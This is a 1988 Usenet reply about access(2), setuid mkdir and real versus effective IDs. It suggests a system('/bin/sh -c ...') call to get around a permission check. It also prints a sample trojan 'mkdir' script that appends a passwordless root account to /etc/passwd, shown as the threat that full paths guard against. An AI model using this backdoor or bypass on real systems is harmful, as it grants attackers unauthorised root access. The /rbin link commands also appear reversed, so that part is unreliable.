Xref: utzoo comp.lang.c:8178 comp.unix.questions:6071 comp.unix.wizards:7059
Path: utzoo!mnetor!uunet!husc6!ut-sally!utah-cs!utah-gr!uplherc!sp7040!wsccs!terry
From: terry@wsccs.UUCP (terry)
Newsgroups: comp.lang.c,comp.unix.questions,comp.unix.wizards
Subject: Re: [braindamaged?] use of access(2) -- long note
Message-ID: <305@wsccs.UUCP>
Date: 12 Mar 88 09:10:09 GMT
References: <59@vsi.UUCP> <1056@stratus.UUCP> <70@vsi.UUCP>
Distribution: comp
Lines: 75
Keywords: access(2), permissions, setuid/setgid
Summary: Blame you, not UNIX

In article <70@vsi.UUCP>, friedl@vsi.UUCP (Stephen J. Friedl) writes:
>      I guess I gave an unclear posting.  *I* know how access(2)
> works and how to do the permissions checking in the right way.  A
> version of access (I call it accfile) does the same kind of check-
> ing but with the "proper" uid/gid.
> 
>      My lament is that *other* software (/bin/sh, test(1), temp-
> nam(3), the Informix sacego report processor, etc.) does it wrong
> and it keeps me from doing it right.  For example, the shell's
> $PATH search mechanism means that I have to keep the project bin/
> directory open to everybody because the shell won't find my com-
> mands otherwise.

	Obviously, you have not heard of the link function, which allows you
to link a file to another file.  For instance:

	login: root
	# mkdir /rbin
	# ln /rbin/test /bin/test
	# ln /rbin/sh /bin/sh

	login: dwiddly
	$ PATH=/rbin:.:/usr/rbin	(set by .profile, not owned by me)
	$ mkdir foo
	mkdir: command not found

>      I have just found out that mkdir(1) on System V doesn't work
> right either.  It runs setuid root (only root may mknod a direc-
> tory) and it uses access to find out if the underlying user has
> permission to do this.  I guess they miss the case where the ef-
> fective group has permission but the real+effective user and real
> group do not.  Yet another case of the kernel doing what I tell
> it rather than what I want.

	No, it does what it's supposed to.  I will assume that your effective
user an group ID are caused by a C program.  If you want to defeat it, however,
you could simply doo the following:

	instead of
		mkdir( "/bin/foo");
	or
		system( "/bin/mkdir /bin/foo");
	use
		system( "/bin/sh -c /bin/mkdir /bin/foo");

	This will cause the mkdir to see the system()'ed shell's real UID and
GID, which will be whatever your effective UID and GID were, thus getting
around a security feature of UNIX.  Note that I forced the path on the mkdir
command so the user could not have his own mkdir in his path before the /bin
one, thereby preventing:

	$ cat mkdir
	:
	# shell script to fool root
	echo "me::0:1:Fake root account:/:/bin/sh" >> /etc/passwd
	mkdir $1
	$

>      Wouldn't it make sense to (A) provide a "accfile()"
> syscall/routine that does access(2) with real ids and (B) put a
> note on the access manual page saying "you probably don't want to
> use this function." Perhaps provide a version of access that is
> passed the user/group ids to be checking against?  Then it could
> fit all the needs.

	Or you could use the method above... gee, now why should you complicate
the library more again?


| Terry Lambert           UUCP: ...!decvax!utah-cs!century!terry              |
| @ Century Software       or : ...utah-cs!uplherc!sp7040!obie!wsccs!terry    |
| SLC, Utah                                                                   |
|                   These opinions are not my companies, but if you find them |
|                   useful, send a $20.00 donation to Brisbane Australia...   |
| 'There are monkey boys in the facility.  Do not be alarmed; you are secure' |